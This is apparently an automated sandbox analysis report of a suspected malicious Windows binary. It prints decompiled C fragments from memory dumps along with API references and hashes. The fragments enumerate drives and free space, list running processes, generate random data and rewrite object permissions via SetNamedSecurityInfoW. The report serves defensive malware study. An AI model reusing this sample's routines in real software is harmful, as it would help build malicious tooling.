            0x01367e23
            0x01367e26
            0x01367e29
            0x01367e29
            0x01367e2b
            0x01367e2e
            0x01367e30
            0x01367e30
            0x01367e30
            0x01367e30
            0x01367e33
            0x01367e38
            0x01367e38
            0x01367e38
            0x01367e39
            0x01367e3b
            0x00000000
            0x01367fc1
            0x01367fad
            0x01367faf
            0x01367fb4
            0x01367fba
            0x01367fc0
            0x01367fcb
            0x01367fcb
            0x01367e42
            0x01367e47
            0x01367e4e
            0x01367e4f
            0x01367e52
            0x01367e59
            0x01367e63
            0x01367e6c
            0x01367e82
            0x01367e6e
            0x01367e78
            0x01367e78
            0x01367e88
            0x01367e8b
            0x01367e8e
            0x00000000
            0x01367e94
            0x01367e94
            0x01367e96
            0x01367ea2
            0x01367ea9
            0x01367eab
            0x01367ebd
            0x01367ec4
            0x01367ec6
            0x01367ecc
            0x01367ed6
            0x01367eea
            0x01367eef
            0x01367ef8
            0x01367f3a
            0x01367f40
            0x01367f48
            0x01367f53
            0x01367f56
            0x01367f59
            0x01367f5c
            0x01367f5e
            0x01367f71
            0x01367f74
            0x01367f77
            0x01367f7a
            0x01367f7a
            0x01367efa
            0x01367f00
            0x01367f0d
            0x01367f10
            0x01367f13
            0x01367f15
            0x01367f1c
            0x01367f2c
            0x01367f2f
            0x01367f32
            0x01367f35
            0x01367f35
            0x01367f15
            0x01367ef8
            0x01367ed6
            0x01367ec6
            0x01367f7d
            0x01367f80
            0x00000000
            0x00000000
            0x01367f8a
            0x01367f90
            0x01367f92
            0x00000000
            0x00000000
            0x00000000
            0x01367f92
            0x01367f99
            0x00000000
            0x01367f99
            0x01367e8e
            0x00000000
            0x01367fab

            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID:
            • API String ID:
            • Opcode ID: 62f11d2e1b4cb220a25bb71112379c68c85b532e17a3ca1be658589b8d487a4c
            • Instruction ID: 3a77235316a63c6ee8e17e612b98d577565252852d94e588da20c2fc52dc42de
            • Opcode Fuzzy Hash: 62f11d2e1b4cb220a25bb71112379c68c85b532e17a3ca1be658589b8d487a4c
            • Instruction Fuzzy Hash: 0361957190021AEFDB10AF69CC49EAEBBBCFF04328F508566E914E6144EB35DA54CF90
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01365DD3() {
            				long _t3;
            				long _t4;
            
            				timeBeginPeriod(1);
            				_t4 = timeGetTime();
            				do {
            					Sleep(1); // executed
            					_t3 = timeGetTime();
            				} while (_t4 == _t3);
            				return _t3;
            			}





            0x01365dd6
            0x01365de2
            0x01365de4
            0x01365de6
            0x01365dec
            0x01365df2
            0x01365df7

            APIs
            • timeBeginPeriod.WINMM(00000001,?,01365D3F,00000000,00000000,00000000,?,00000030,00000000,?,?,01366BF6,?,00000020,00000000), ref: 01365DD6
            • timeGetTime.WINMM(?,01366BF6,?,00000020,00000000,?,01366B9F,?,?,01362536,?,01372340), ref: 01365DDC
            • Sleep.KERNELBASE(00000001,?,01366BF6,?,00000020,00000000,?,01366B9F,?,?,01362536,?,01372340), ref: 01365DE6
            • timeGetTime.WINMM(?,01366BF6,?,00000020,00000000,?,01366B9F,?,?,01362536,?,01372340), ref: 01365DEC
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: time$Time$BeginPeriodSleep
            • String ID:
            • API String ID: 4118631919-0
            • Opcode ID: 3188c2ec39c9cd2a5567ded5fde170cf076a82ac89bff4bef174222b9c5f7be6
            • Instruction ID: 02cdd0581f134d3bcf5044de91567d2434f1ca72a3ecce8a485131b5f714c186
            • Opcode Fuzzy Hash: 3188c2ec39c9cd2a5567ded5fde170cf076a82ac89bff4bef174222b9c5f7be6
            • Instruction Fuzzy Hash: F3C00237940125DFE7343BB4F80EA993E68EB017B3F094161F9479A1999BA10CC1CBA1
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E013652F0(signed int* _a4) {
            				signed int _v8;
            				int _v12;
            				intOrPtr _v16;
            				short _v20;
            				union _ULARGE_INTEGER _v28;
            				intOrPtr _t23;
            				int _t31;
            				short _t34;
            				long _t40;
            				void* _t41;
            				short _t42;
            				void* _t45;
            				signed int _t46;
            				void* _t47;
            				union _ULARGE_INTEGER* _t49;
            				signed int _t50;
            
            				_t46 = 0;
            				_t50 = 0;
            				_v8 = 0;
            				_t41 = 0;
            				_t47 = 0x5a;
            				L1:
            				while(1) {
            					if(_t41 == 0) {
            						L5:
            						_t42 =  *0x136d29c; // 0x3a0041
            						_t23 =  *0x136d2a0; // 0x5c
            						_v20 = _t42;
            						_v16 = _t23;
            						if(_t42 > _t47) {
            							L14:
            							_t46 = _v8;
            							_t41 = _t41 + 1;
            							if(_t41 > 1) {
            								L17:
            								return _t46;
            							}
            							continue;
            						}
            						_t6 = _t46 + 0xe; // 0xe
            						_t49 = _t6 + _t50 * 0x16;
            						do {
            							_t31 = GetDriveTypeW( &_v20); // executed
            							_v12 = _t31;
            							if(E0136803D(_t31) != 0) {
            								if(_t41 != 0) {
            									 *((short*)(_t49 - 0xe)) = _v20;
            									 *(_t49 - 0xc) = _v12;
            									_t13 = _t49 - 8; // 0x6
            									_t40 = GetDiskFreeSpaceExW( &_v20,  &_v28, _t13, _t49); // executed
            									if(_t40 == 0) {
            										_t49->LowPart = _t40;
            										_t49->LowPart.HighPart = _t40;
            										 *(_t49 - 8) = _t40;
            										 *(_t49 - 4) = _t40;
            									}
            								}
            								_t50 = _t50 + 1;
            								_t49 = _t49 + 0x16;
            							}
            							_t34 = _v20 + 1;
            							_t45 = 0x5a;
            							_v20 = _t34;
            						} while (_t34 <= _t45);
            						_t47 = _t45;
            						goto L14;
            					}
            					if(_t50 == 0) {
            						L16:
            						 *_a4 =  *_a4 & 0x00000000;
            						goto L17;
            					}
            					_t46 = E01364F5C(_t50 * 0x16);
            					_v8 = _t46;
            					if(_t46 == 0) {
            						goto L16;
            					}
            					 *_a4 = _t50;
            					_t50 = 0;
            					goto L5;
            				}
            			}



















            0x013652f9
            0x013652fb
            0x013652ff
            0x01365302
            0x01365304
            0x00000000
            0x01365305
            0x01365307
            0x0136532f
            0x0136532f
            0x01365335
            0x0136533a
            0x0136533d
            0x01365343
            0x013653b1
            0x013653b1
            0x013653b4
            0x013653b8
            0x013653c7
            0x013653cd
            0x013653cd
            0x00000000
            0x013653ba
            0x01365348
            0x0136534b
            0x0136534d
            0x01365351
            0x01365358
            0x01365363
            0x01365367
            0x0136536d
            0x01365374
            0x01365377
            0x01365384
            0x0136538c
            0x0136538e
            0x01365390
            0x01365393
            0x01365396
            0x01365396
            0x0136538c
            0x01365399
            0x0136539a
            0x0136539a
            0x013653a3
            0x013653a5
            0x013653a6
            0x013653aa
            0x013653b0
            0x00000000
            0x013653b0
            0x0136530b
            0x013653bf
            0x013653c2
            0x00000000
            0x013653c2
            0x0136531a
            0x0136531c
            0x01365322
            0x00000000
            0x00000000
            0x0136532b
            0x0136532d
            0x00000000
            0x0136532d

            APIs
            • GetDriveTypeW.KERNELBASE(?,00000001,00000000,01370278,?,?,?,?,01361AC2,?), ref: 01365351
            • GetDiskFreeSpaceExW.KERNELBASE(?,?,00000006,0000000E,?,?,?,?,01361AC2,?), ref: 01365384
            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: DiskDriveFreeSpaceType
            • String ID: A:\
            • API String ID: 1419299958-3379428675
            • Opcode ID: 111fc7e587e89c0a8c44e417be98fc9c889921638869a269c23cb47c878d8642
            • Instruction ID: c464c09ea5af851c9bfdc7108d4f5e20071448233e371140b08df500f36203d7
            • Opcode Fuzzy Hash: 111fc7e587e89c0a8c44e417be98fc9c889921638869a269c23cb47c878d8642
            • Instruction Fuzzy Hash: C1214DB6A003169FDB14DFAED844AAFBBBCFB44B54F24C66AE915D7204E77085018B90
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 37%
            			E01367660(void* __ecx, intOrPtr _a4) {
            				short _v8;
            				struct _SID_IDENTIFIER_AUTHORITY _v12;
            				void* _t8;
            				signed int _t11;
            				signed int _t13;
            				void* _t16;
            				void* _t21;
            				signed int _t22;
            				void* _t25;
            				int _t31;
            
            				_v8 = 0x100;
            				_v12.Value = 0;
            				_t31 =  *0x13722ec; // 0x501
            				if(_t31 != 0) {
            					L5:
            					_t8 =  *0x13715a0(_a4, 1, 4, 0, 0,  *0x13722dc, 0); // executed
            					_t21 = _t8;
            					if(_t21 != 0) {
            						_t11 = (0 | _t21 == 0x00000005) - 1;
            					} else {
            						_t11 = 1;
            					}
            					L8:
            					return _t11;
            				}
            				_t13 = AllocateAndInitializeSid( &_v12, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0x13722d8);
            				if(_t13 != 0) {
            					_t22 = 8;
            					memset(0x13722f0, 0, _t22 << 2);
            					_t16 =  *0x13722d8; // 0xc4e3d0
            					 *0x13722f0 = 0x10000000;
            					 *0x13722f4 = 2;
            					 *0x13722f8 = 3;
            					 *0x1372304 = 0;
            					 *0x1372308 = 5;
            					 *0x137230c = _t16;
            					_t13 =  *0x137168c(1, 0x13722f0, 0, 0x13722dc, _t25);
            					if(_t13 != 0) {
            						goto L2;
            					}
            					 *0x13722ec = 1;
            					goto L5;
            				}
            				L2:
            				_t11 = _t13 | 0xffffffff;
            				goto L8;
            			}













            0x01367668
            0x0136766e
            0x01367671
            0x01367677
            0x01367707
            0x01367717
            0x0136771d
            0x01367723
            0x0136772e
            0x01367725
            0x01367725
            0x01367725
            0x0136772f
            0x01367733
            0x01367733
            0x01367690
            0x01367698
            0x013676a5
            0x013676b5
            0x013676b7
            0x013676bf
            0x013676c9
            0x013676d3
            0x013676dd
            0x013676e3
            0x013676ed
            0x013676f2
            0x013676fb
            0x00000000
            0x00000000
            0x013676fd
            0x00000000
            0x013676fd
            0x0136769a
            0x0136769a
            0x00000000

            APIs
            • AllocateAndInitializeSid.ADVAPI32(?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,013722D8,?,?,?,?,01367924), ref: 01367690
            • SetEntriesInAclW.ADVAPI32(00000001,013722F0,00000000,013722DC,?,?,?,?,?,01367924,?,?,?,01363107,?,00000001), ref: 013676F2
            • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000004,00000000,00000000,00000000,?,?,?,?,01367924,?,?,?,01363107,?), ref: 01367717
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: AllocateEntriesInfoInitializeNamedSecurity
            • String ID:
            • API String ID: 2342141041-0
            • Opcode ID: 63818cf809586ca4edab295eae0e31de6208b67e85dc72eaec892eb53c64a39c
            • Instruction ID: 287c305cc2d24985f40f856b0e2d7d14b6b8fe42bb457b6868ec4c5961659a49
            • Opcode Fuzzy Hash: 63818cf809586ca4edab295eae0e31de6208b67e85dc72eaec892eb53c64a39c
            • Instruction Fuzzy Hash: 7711A0B1600309AEFB348F69EC89F677AADF70479CF40812CF51196299E7F6C8408B50
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 75%
            			E0136590A(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
            				void* _v560;
            				void* _t8;
            				struct tagPROCESSENTRY32W* _t9;
            				int _t19;
            				void* _t20;
            
            				_t19 = 0;
            				_t8 = CreateToolhelp32Snapshot(2, 0); // executed
            				_t20 = _t8;
            				if(_t20 != 0xffffffff) {
            					_t9 =  &_v560;
            					_v560 = 0x22c;
            					Process32FirstW(_t20, _t9); // executed
            					while(_t9 != 0) {
            						_t19 = _a12(_a8,  &_v560);
            						if(_t19 == 0 || _a4 == 0) {
            							_t9 = Process32NextW(_t20,  &_v560); // executed
            							continue;
            						} else {
            							break;
            						}
            					}
            					E013651FE(_t20);
            					return _t19;
            				}
            				return 0;
            			}








            0x01365915
            0x0136591a
            0x01365920
            0x01365925
            0x0136592b
            0x01365931
            0x0136593d
            0x0136596e
            0x01365952
            0x01365958
            0x01365968
            0x00000000
            0x00000000
            0x00000000
            0x00000000
            0x01365958
            0x01365973
            0x00000000
            0x01365979
            0x00000000

            APIs
            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0136591A
            • Process32FirstW.KERNEL32(00000000,?), ref: 0136593D
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: CreateFirstProcess32SnapshotToolhelp32
            • String ID:
            • API String ID: 2353314856-0
            • Opcode ID: 03896fa8984b376328bfa752a13484bed016eaa116481b2e7cb7633c8f11102a
            • Instruction ID: cb6a1666a9e8ecbd5ada8bf53dc456bd32e494f144ac31226c3b86a598ab49fa
            • Opcode Fuzzy Hash: 03896fa8984b376328bfa752a13484bed016eaa116481b2e7cb7633c8f11102a
            • Instruction Fuzzy Hash: 51018636501119BBEB306A79EC0CAEF7BFDDB8A375F148175FC19D2184EB3089458AA0
            Uniqueness

            Uniqueness Score: -1.00%

            APIs
            • CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 01366112
              • Part of subcall function 01364F5C: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,01361548), ref: 01364F71
              • Part of subcall function 01364F5C: GetProcessHeap.KERNEL32(?,01361548), ref: 01364F80
            • CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 01366139
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: BinaryCryptHeapString$CreateProcess
            • String ID:
            • API String ID: 869147093-0
            • Opcode ID: 5edd79a2dd2fb03ae16bf905fe4cf8bb7b085b407980225d48bbd8cc2cf05545
            • Instruction ID: 9ab895e8e8128b96aa940a1c45e22edbbd2cfd654fa58b9ef5102fd277af4d1e
            • Opcode Fuzzy Hash: 5edd79a2dd2fb03ae16bf905fe4cf8bb7b085b407980225d48bbd8cc2cf05545
            • Instruction Fuzzy Hash: B4F03CB220011EBFEB205F59EC84DABBB6CEF046E8B048025FA099A245D671CD008BA0
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 54%
            			E01365981(void* __edx, int _a4, intOrPtr _a8) {
            				BYTE* _v0;
            				void* _t7;
            				signed int _t11;
            				void* _t14;
            
            				_t7 = E01365CE0(_a4, _a8); // executed
            				if(_t7 == 0) {
            					if(E013659F2(__edx, _a4, _a8) != 0) {
            						goto L1;
            					} else {
            						_pop(_t21);
            						if( *0x1371f70 != 0) {
            							L8:
            							_t11 = CryptGenRandom( *0x1371f6c, _a4, _v0);
            							asm("sbb eax, eax");
            							return  ~( ~_t11);
            						} else {
            							_t14 =  *0x13714bc(0x1371f6c, 0, 0, 1, 0xf0000000);
            							if(_t14 != 0) {
            								 *0x1371f70 = 1;
            								goto L8;
            							} else {
            								return _t14;
            							}
            						}
            					}
            				} else {
            					L1:
            					return 1;
            				}
            			}







            0x0136598a
            0x01365993
            0x013659a9
            0x00000000
            0x013659ab
            0x013659ab
            0x01365b90
            0x01365bb8
            0x01365bc4
            0x01365bcc
            0x01365bd1
            0x01365b92
            0x01365ba2
            0x01365baa
            0x01365bae
            0x00000000
            0x01365bad
            0x01365bad
            0x01365bad
            0x01365baa
            0x01365b90
            0x01365995
            0x01365995
            0x01365999
            0x01365999

            APIs
            • CryptAcquireContextW.ADVAPI32(01371F6C,00000000,00000000,00000001,F0000000,?,01366E82,?,00000030,00000000,?,?,01366BF6,?,00000020,00000000), ref: 01365BA2
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: AcquireContextCrypt
            • String ID:
            • API String ID: 3951991833-0
            • Opcode ID: 9220d8c9ad34ac279d8bd059f746292fc5d4ab1016e5845a01644a646ba58aba
            • Instruction ID: 93b728b5def15e6d6f468a9cbc1ae2532a0e77a44ee9bfe22f718de336a1d3ce
            • Opcode Fuzzy Hash: 9220d8c9ad34ac279d8bd059f746292fc5d4ab1016e5845a01644a646ba58aba
            • Instruction Fuzzy Hash: E2F062371A420EBAEF311E69EC01F693BADEB117B9F10C235F90999498DB7290549B44
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01364F5C(intOrPtr _a4) {
            				void* _t3;
            
            				if( *0x1371f64 != 0) {
            					_t2 =  *0x1371f60; // 0x2d00000
            				} else {
            					_t2 = HeapCreate(0, 0x400000, 0); // executed
            					 *0x1371f60 = _t2;
            					if(_t2 == 0) {
            						 *0x1371f60 = GetProcessHeap();
            					}
            					 *0x1371f64 = 1;
            				}
            				_t3 = E01364EF2(_t2, _a4); // executed
            				return _t3;
            			}




            0x01364f66
            0x01364f97
            0x01364f68
            0x01364f71
            0x01364f77
            0x01364f7e
            0x01364f86
            0x01364f86
            0x01364f8b
            0x01364f8b
            0x01364fa0
            0x01364fa8

            APIs
            • HeapCreate.KERNELBASE(00000000,00400000,00000000,?,01361548), ref: 01364F71
            • GetProcessHeap.KERNEL32(?,01361548), ref: 01364F80
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Heap$CreateProcess
            • String ID:
            • API String ID: 1042935442-0
            • Opcode ID: 634d5832484cf179ee5ee3cdacd4c848c4c8a265a859f204684075170e114039
            • Instruction ID: ee26f99185d36237aa644961f59db0613b530e8c80559ff60868e10f26b14a87
            • Opcode Fuzzy Hash: 634d5832484cf179ee5ee3cdacd4c848c4c8a265a859f204684075170e114039
            • Instruction Fuzzy Hash: B1E04F73918309DFD7306FA8F8097583BECA718358F204215F5089A18CDBB19048CB14
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 81%
            			E0136C043(void* __ecx, void* __eflags, void* _a4, signed char _a7, signed char* _a8, signed char _a11, signed int _a12, signed int _a15) {
            				signed char _v5;
            				signed int _v12;
            				intOrPtr* _v16;
            				char _v20;
            				signed int _v24;
            				signed int _v28;
            				intOrPtr _v32;
            				signed int _v36;
            				signed int _v40;
            				signed int _v44;
            				signed long long _v48;
            				signed int _v52;
            				signed char* _v56;
            				signed int _v60;
            				signed int _v64;
            				signed int _v68;
            				intOrPtr _v72;
            				signed char* _v76;
            				char _v80;
            				intOrPtr _v92;
            				signed char _v100;
            				void _v104;
            				intOrPtr _v108;
            				void* _v112;
            				char _v116;
            				signed int _t387;
            				void* _t390;
            				void* _t394;
            				void* _t396;
            				char _t397;
            				void* _t399;
            				void* _t400;
            				void* _t401;
            				void* _t402;
            				intOrPtr _t405;
            				intOrPtr _t410;
            				intOrPtr _t411;
            				void* _t419;
            				void* _t424;
            				void* _t431;
            				void* _t440;
            				void* _t447;
            				void* _t452;
            				signed char _t453;
            				signed int _t454;
            				void* _t456;
            				void* _t457;
            				void* _t458;
            				signed char _t460;
            				void* _t462;
            				void* _t469;
            				void* _t472;
            				void* _t473;
            				void* _t474;
            				void* _t476;
            				signed char _t481;
            				signed int _t482;
            				signed char _t483;
            				signed char _t484;
            				signed char _t519;
            				signed int _t520;
            				signed char _t521;
            				void* _t527;
            				void* _t528;
            				void* _t529;
            				void* _t531;
            				void* _t533;
            				signed int _t540;
            				void* _t546;
            				intOrPtr _t549;
            				signed int _t554;
            				intOrPtr _t560;
            				void* _t561;
            				intOrPtr _t562;
            				signed char* _t567;
            				char _t568;
            				signed char* _t569;
            				signed char* _t570;
            				signed char* _t571;
            				signed char* _t572;
            				signed char* _t573;
            				signed char* _t574;
            				signed char* _t575;
            				signed char* _t576;
            				signed char* _t577;
            				signed char* _t578;
            				signed char* _t579;
            				signed char* _t580;
            				signed char* _t581;
            				signed char* _t582;
            				signed char* _t583;
            				signed char* _t584;
            				signed char* _t585;
            				signed char* _t586;
            				signed int _t588;
            				char _t590;
            				signed int _t594;
            				void* _t596;
            				signed int _t624;
            				signed int _t642;
            				signed int _t644;
            				signed int _t648;
            				signed int _t658;
            				signed int _t664;
            				signed int _t665;
            				signed int _t666;
            				intOrPtr _t667;
            				void* _t669;
            				void _t670;
            				intOrPtr _t671;
            				signed int _t674;
            				signed int _t675;
            				signed int _t676;
            				signed int _t677;
            				signed int _t683;
            				void* _t689;
            				void* _t690;
            				signed long long* _t691;
            				signed long long _t712;
            				signed long long _t715;
            
            				_v36 = 0;
            				E01364FE3( &_v116, 0, 0x34);
            				_t387 = _a12;
            				_t690 = _t689 + 0xc;
            				_v40 = 0;
            				_v52 = 0;
            				_v64 = 0;
            				_v60 = 0;
            				_t567 = _a8;
            				_v56 = _t567;
            				if(_t387 >= 3 &&  *_t567 == 0xef && _t567[1] == 0xbb && _t567[2] == 0xbf) {
            					_t567 =  &(_t567[3]);
            					_t387 = _t387 - 3;
            					_v56 = _t567;
            				}
            				_t712 =  *0x136fd20;
            				_v32 = _t387 + _t567;
            				_t588 = 6;
            				_t390 = memcpy( &_v104, _a4, _t588 << 2);
            				_t691 = _t690 + 0xc;
            				_v112 = _t390;
            				_v112 = _v112 - 8;
            				_v108 = _t390 - 8;
            				_v80 = 1;
            				while(1) {
            					L6:
            					_v24 = _v24 & 0x00000000;
            					_t664 = 0;
            					_v28 = _v28 & 0;
            					_t669 = 0;
            					_t642 = 8;
            					_a12 = 0;
            					_v16 = 0;
            					_v20 = 0;
            					_v12 = _t642;
            					_v72 = 1;
            					while(1) {
            						_v76 = _t567;
            						if(_t567 != _v32) {
            							_t590 =  *_t567;
            						} else {
            							_t590 = 0;
            						}
            						L10:
            						_a11 = _t590;
            						if((_t642 & 0x00000020) == 0) {
            							L71:
            							if((_v100 & 0x00000001) == 0) {
            								L100:
            								if(_t642 >= 0) {
            									if((_t642 & 0x00000008) == 0) {
            										_t259 = _t669 + 4; // 0x4
            										_t394 = _t259;
            										_t670 =  *_t394;
            										_a4 = _t394;
            										if(_t670 == 1) {
            											st0 = _t712;
            											_t396 = _t590 - 9;
            											if(_t396 == 0) {
            												L240:
            												_t669 = _v16;
            												L241:
            												_t397 = _v80;
            												L242:
            												_t712 =  *0x136fd20;
            												_t567 =  &(_t567[1]);
            												_v76 = _t567;
            												if(_t567 != _v32) {
            													_t590 =  *_t567;
            												} else {
            													_t590 = 0;
            												}
            												goto L10;
            											}
            											_t527 = _t396 - 1;
            											if(_t527 == 0) {
            												_v72 = _v72 + 1;
            												_v68 = _v68 & 0x00000000;
            												goto L240;
            											}
            											_t528 = _t527 - 3;
            											if(_t528 == 0) {
            												goto L240;
            											}
            											_t529 = _t528 - 0x13;
            											if(_t529 == 0) {
            												goto L240;
            											}
            											_t531 = _t529;
            											if(_t531 == 0) {
            												if((_t642 & 0x00000004) != 0) {
            													L247:
            													_t568 = _v80;
            													_t405 =  !=  ? _v28 : _v36;
            													if(_t405 == 0) {
            														L249:
            														if(_t568 == 0) {
            															E0136CC8D( &_v104, _v28);
            														}
            														return 0;
            													} else {
            														goto L248;
            													}
            													do {
            														L248:
            														_t671 =  *((intOrPtr*)(_t405 + 0x10));
            														_v92(_t405);
            														_t405 = _t671;
            													} while (_t671 != 0);
            													goto L249;
            												}
            												_t669 = _v16;
            												_t642 = _t642 | 0x00000020;
            												_t664 = 0;
            												_v12 = _t642;
            												_a12 = 0;
            												_t339 = _t669 + 0x10; // 0x32533748
            												_v24 =  *_t339;
            												L227:
            												if((_t642 & 0x00000002) != 0) {
            													_t642 = _t642 & 0xfffffffd;
            													_t567 = _t567 - 1;
            													_v12 = _t642;
            													_v76 = _t567;
            												}
            												if((_t642 & 0x00000001) != 0) {
            													_t410 =  *_t669;
            													_t644 = _t642 & 0xfffffffe | 0x00000004;
            													_t594 = _t644;
            													if(_t410 != 0) {
            														_t642 =  !=  ? _t594 : _t644 | 0x00000008;
            														_v12 = _t642;
            														if(_v80 == 0) {
            															_t596 =  *((intOrPtr*)(_t410 + 4)) - 1;
            															if(_t596 == 0) {
            																 *((intOrPtr*)( *(_t410 + 8) * 0xc +  *((intOrPtr*)(_t410 + 0xc)) + 8)) = _t669;
            															} else {
            																if(_t596 == 1) {
            																	 *((intOrPtr*)( *((intOrPtr*)(_t410 + 0xc)) +  *(_t410 + 8) * 4)) = _t669;
            																}
            															}
            														}
            														_t411 =  *_t669;
            														 *((intOrPtr*)(_t411 + 8)) =  *((intOrPtr*)(_t411 + 8)) + 1;
            														if( *((intOrPtr*)(_t411 + 8)) > _v112) {
            															goto L247;
            														} else {
            															_t669 =  *_t669;
            															_v16 = _t669;
            															_v20 = _t669;
            															goto L241;
            														}
            													}
            													_t642 = _t644 | 0x00000080;
            													L82:
            													_v12 = _t642;
            												}
            												goto L241;
            											}
            											_t533 = _t531 - 0xa;
            											if(_t533 == 0) {
            												if((_t642 & 0x00000004) == 0) {
            													goto L247;
            												}
            												_t642 = _t642 & 0xfffffffb;
            												L220:
            												_v12 = _t642;
            												L226:
            												_t669 = _v16;
            												goto L227;
            											}
            											if(_t533 != 0x51) {
            												goto L247;
            											}
            											_t642 = _t642 & 0xfffffffb | 0x00000001;
            											goto L220;
            										}
            										_t261 = _t670 - 3; // -3
            										if(_t261 > 1) {
            											st0 = _t712;
            											goto L226;
            										}
            										if(_t590 - 0x30 > 9) {
            											if(_t590 == 0x2b || _t590 == 0x2d) {
            												if((_t642 & 0x00000c00) != 0x400) {
            													goto L194;
            												}
            												st0 = _t712;
            												_t642 =  !=  ? _t642 | 0x00000800 : _t642 | 0x1800;
            												_v12 = _t642;
            												goto L240;
            											} else {
            												if(_t590 != 0x2e || _t670 != 3) {
            													L194:
            													if((_t642 & 0x00000400) != 0) {
            														if(_v40 == 0) {
            															L246:
            															st0 = _t712;
            															goto L247;
            														}
            														_t540 = _v52;
            														_t601 =  ~_t540;
            														_t541 =  !=  ?  ~_t540 : _t540;
            														 *_t691 = _t712;
            														E0136CCF3( !=  ?  ~_t540 : _t540,  ~_t540, _t642 & 0x00001000,  ~_t540, _t601,  !=  ?  ~_t540 : _t540);
            														_t669 = _v16;
            														_t691 =  &(_t691[1]);
            														_t642 = _v12;
